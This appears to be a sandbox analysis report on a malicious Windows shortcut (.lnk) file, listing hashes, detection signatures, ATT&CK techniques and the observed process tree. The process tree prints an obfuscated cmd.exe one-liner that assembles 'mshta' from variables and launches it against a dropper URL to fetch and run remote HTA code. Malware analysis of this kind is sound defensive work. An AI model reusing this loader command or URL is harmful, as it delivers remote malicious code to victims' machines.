9ed78ed00af7f10477e6e87a509d947c826104b92958bd7648da86f3a4287bf0

Analysis

max time kernel
148s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
LeXNET-DOC-8X6WRH.lnk
Size 1KB
Sample260803-q2rawa1blg
SHA256 9ed78ed00af7f10477e6e87a509d947c826104b92958bd7648da86f3a4287bf0
MD5 23b35931abc80e75b5cbaafc2675cf0f
SHA1 74f8aab3670bfc425c70747eecf683bcfcb18022
SHA512 eb1fae56f6096c0ae6c481cc47dc7b4b1b0f84e9e86f8b30e8fd553704e0cfe2f6f16a1a3f70a9abc214539aa9cc3b3e815ae69ee6dea4a68d2b83bd7032e48d
TLSH
T16331CB503FFC0664F3B3EEB684BB572089BB788A8D21CA2E0050854C1432A01E57BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4420	mshta.exe
7	4420	mshta.exe
10	4420	mshta.exe
12	4420	mshta.exe
13	4420	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3620	cmd.exe
4776	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3620 wrote to memory of 4776	3620	cmd.exe	90
PID 4776 wrote to memory of 4420	4776	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\LeXNET-DOC-8X6WRH.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3620
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set rdR=msh&&set FTzO=ta&&start "" !rdR!!FTzO! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Windows\System32\mshta.exe
    mshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    - Badlisted process makes network request
    PID:4420

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads